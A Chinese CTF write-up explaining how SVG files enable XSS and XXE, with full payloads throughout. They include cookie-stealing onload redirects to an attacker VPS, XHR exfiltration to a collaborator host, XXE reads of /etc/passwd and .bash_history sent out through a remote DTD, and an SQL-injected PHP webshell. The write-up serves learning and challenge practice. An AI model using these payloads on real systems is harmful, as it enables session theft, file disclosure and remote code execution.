本文首發於“合天網安實驗室”作者:Kawhi
本文涉及靶場知識點:
XXE漏洞分析與實踐:實驗:XXE漏洞分析與實踐(合天網安實驗室)
XXE漏洞發生在程序解析XML輸入時,沒有禁止外部實體的加載,導致可以加載惡意的外部文件,可以造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、DoS攻擊等危害。通過本課程的學習,你將掌握XXE漏洞的原理,學會XXE漏洞利用技術以及防御方法。
前言
之前在CTF比賽中遇到了一些關於SVG造成的安全問題,多虧諸多師傅的題目給我的一頓痛打讓我又了解了不少新的知識和SVG在WEB安全中的應用,拓展了我的攻擊面。
SVG簡介
SVG(Scalable Vector Graphics)是一種基於XML的二維矢量圖格式,和我們平常用的jpg/png等圖片格式所不同的是SVG圖像在放大或改變尺寸的情況下其圖形質量不會有所損失,並且我們可以使用任何的文本編輯器打開SVG圖片並且編輯它,目前主流的瀏覽器都已經支持SVG圖片的渲染。
SVG造成XSS
直奔主題
我們在一張SVG圖片里面插入一個JavaScript代碼。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script>alert(1)</script> </svg>
我們用瀏覽器打開它會發現它會造成XSS。

刨根問底
為什么這樣的SVG圖片會造成跨站腳本問題呢?這是因為SVG是支持通過腳本語言來動態訪問和修改SVG的任何內容,這點和HTML中的DOM類似,或者說完全一致。因為SVG中的所有標簽和屬性都已經對應了已經定義的DOM,而這種腳本語言就是JavaScript,所以我們在SVG中插入JavaScript腳本是完全能夠被解析的。
可以看到在國際的SVG標准中定義了script標簽的存在,總之XSS之所以能夠執行是因為遵循了svg及xml的標准。

那么假設存在一個能夠上傳SVG的WEB服務器,並且沒有對SVG內容進行嚴格過濾,這就很有可能造成XSS問題。
CTF中的應用場景
XSSME
題目地址:https://xssrf.hackme.inndy.tw/
本題是給admin發一封郵件,然后admin會查看你發送的郵件,很明顯的xss盜取管理員cookie,但是這里經過fuzz發現過濾了如下字符:
<script
)
onmouseover
空格onload
空格onerror
<iframe
我們這里可以考慮用SVG標簽來進行XSS,比如:
<svg/onload=alert(1)>
這里我們可以發送到VPS測試一下是否有效
<svg/onload="document.location='http://vps-ip:1234'">

vps成功接收到信息

然后再獲取cookie即可
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
Teaser Confidence CTF 2019:Web 50
本題是一道比較經典的利用svg去構造xss的題目,但是由於題目並沒有開源,所以沒辦法復現,這里主要學習他的思路。
根據題目描述,有兩個功能,一個是報告BUG,一個是修改個人信息,然后管理員會查看該域名下的某處頁面,這里主要是通過xss獲取admin頁面Secret表單的值來獲取flag。
在個人資料頁面中,我們可以將頭像上傳到服務器,服務器將檢查此文件是否為有效圖像,並且大小必須為100x100。我們如果將有效的PNG圖片重命名為1.html,然后上傳。但是,HTTP內容類型仍為image/png,那么這里有個問題就是如果內容類型為image/png,則將此鏈接發送給admin不會觸發XSS有效負載。
所以這里就可以使用svg作為媒介來構造xss,去獲取secret的值,這里直接貼一下payload
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> ... <g> <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon> <script type="text/javascript"> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "http://XXXX.burpcollaborator.net/"); xhr2.send(xhr.responseText); } } xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin"); xhr.withCredentials = true; xhr.send(); </script> </g> ... </svg>
這里使用了burpcollaborator來外帶數據,Burp Suite在1.7之后的版本自帶了這個功能,獲取burpcollaborator的地址如圖所示:

最后在Reportbug處提交圖片即可獲得flag,這里借用一下郁離歌師傅的圖。

SVG造成XXE
前面說了SVG是基於XML的矢量圖,因此可以支持Entity(實體)功能,因此可以用來XXE。
CTF中的應用場景
這里從兩道經典的CTF題目來學習如何XXE並且結合SVG,這里分為有回顯和無回顯兩種情況。
有回顯的情況
svgmagic(BsidesSF CTF 2019)
github題目源碼:傳送門
buu平台也有上這道題目
打開頁面

打開頁面就提示Convert SVG to PNG with Magic
這里我們首先想到的思路就是文件上傳那些步驟,一句話木馬以及.htaccess等等,但是多次上傳利用無果,因為會報一個500的錯誤,這里的話可以利用SVG配合XXE去讀取他的一個文件。
我們直接讀取/etc/passwd試一下:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
我們把上面這段代碼保存為1.svg,並上傳。

可以發現成功回顯了帶有/etc/passwd內容的圖片,但是圖像太小,無法容納所有內容,這里我們可以調整他的width寬度,調大一點就可以看到所有的內容了。
還有個問題就是我們並不知道flag的路徑,而/proc/self/pwd/代表的是當前路徑,可以構造/proc/self/pwd/flag.txt讀取文件。
最后payload如下:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
我們保存為2.svg上傳,發現成功讀取到flag。
無回顯的情況
在說這個點之前,我們先來看看普通XXE無回顯是如何外帶數據的,這里我在本地演示一下:
先在本地PHPStudy寫入無回顯處理XML的代碼
xml.php
<?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
然后在自己的VPS上放置
xml.dtd <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini"> <!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
這里有幾個需要注意的點:
ip換成自己的vps的ip
這里的%會被xml解析成%,如果直接用%的話我本地會報錯。
注意這里使用偽協議讀取文件內容,是因為xml解析器支持使用php://filter進行編碼,至於為什么要使用偽協議對內容進行一個編碼呢,我自己在本地做測試的時候,發現如果文件的內容如果只是簡單的字母數字不加偽協議也可以,但是一旦帶有換行或者特殊的符號就會爆一個warning invaild url,所以保險起見還是加上,最后對文件內容做一個base64的解碼就行。
最后我們POST提交的payload
<?xml version="1.0"?> <!DOCTYPE Note [ <!ENTITY % remote SYSTEM "http://ip/xml.dtd"> %remote; %start; %send; ]>
這里的ip同樣換成自己的vps的ip
下一步在VPS上開啟監聽1234端口
nc -lvp 1234
然后我們抓xml.php的POST包並發送payload

可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini這個文件的內容。

我們來梳理一下他的整個調用過程
- 首先我們payload中的% remote去獲取vps上的xml.dtd
- 然后xml.dtd中的% start去調用% file
- % file獲取服務器上的C:/WINDOWS/win.ini文件並將他base64編碼
- 最后通過% send將數據發送到vps監聽的1234端口上
這就是XXE實現外帶數據的整個流程,那么這個如何結合SVG呢,這里通過一道我之前打比賽的一道題為例子:
svgggggg!(DozerCTF2020)
這道題當時比賽的時候沒有做出來,因為當時水平有限,並沒有想到svg也是xml格式,可以用來XXE,這道題確實質量可以,學到了很多新的姿勢,下面給出我復現的過程。
題目給的兩個hint:
- 用戶r1ck的操作記錄在哪兒來着
- 如果你發現了sql注入,直接getshell吧,flag在/app目錄里
復現過程如下:
打開網頁,有一個框要求輸入URL,然后檢查URL指向的file是不是svg圖片,如果請求的文件不是svg的話就會返回Unauthorized type!

我們先寫一個簡單的SVG圖片源碼放在vps上,保存為1.svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY file "HELLO"> ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&file;</text> </svg>
提交SVG圖片源碼地址發現實體成功顯示,然后我們嘗試讀取一下用戶的history文件
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY file SYSTEM "file:///home/r1ck/.bash_history"> ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&files;</text> </svg>
頁面雖然正常返回信息,但是並不能直接讀到我們想要的東西,但是無回顯,所以這里就可以利用到盲XXE來外帶數據了,也就是通過加載外部一個dtd文件,然后把讀取結果以HTTP請求的方式發送到自己的VPS。
構造1.svg
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Note [ <!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history"> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history"> <!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd"> %remote; %start; %send; ]> <svg xmlns="http://www.w3.org/2000/svg" height="200" width="200"> <text y="20" font-size="20">&lab;</text> </svg>
構造xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
然后我們把1.svg和xml.dtd放到我們的vps上,然后在我們的vps上監聽1234端口,再在網頁提交1.svg的鏈接即可成功讀取到.bash_history,內容如下:
cd /app php -S 0.0.0.0:8080
可以得知在8080端口有另外一個web服務,我們繼續利用XXE數據外帶讀取源碼,修改1.svg的一部分內容如下,其余操作一樣
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">
讀取到源碼如下:
<!doctype html> <html> <head> <meta charset="UTF-8"> <title>index</title> </head> Hi! You Find Me . Flag is nearby. <body> </body> </html> <?php $conn=mysql_connect('127.0.0.1','root',''); mysql_select_db('security'); if ($_GET['id']){ $id = $_GET['id']; } else $id = 1; $sql = "select * from user where id='$id'"; $result = mysql_query($sql,$conn); $arr = mysql_fetch_assoc($result); print_r($arr); ?>
發現sql注入,沒有任何的過濾,直接利用into outfile寫個一句話木馬,當然這里要注意的是傳入的時候要url編碼。
http://127.0.0.1:8080/index.php?id=-1' union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
寫完shell之后,繼續利用數據外帶讀取內容,重復上面的步驟即可。
讀取文件目錄:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
讀取flag:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
總結
SVG算是一個比較容易讓人忽視的點,但是他造成的一些問題卻是我們不能夠忽視的,在CTF中如果有些題目沒有限制SVG這個點的話,我們就可以嘗試用他來進行XSS或者XXE,然后在查閱資料的過程,發現在國外有人總結了SVG的攻擊XSS的一些payload以及防御的方案,具體可以參考:
https://github.com/digininja/svg_xss
參考鏈接
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html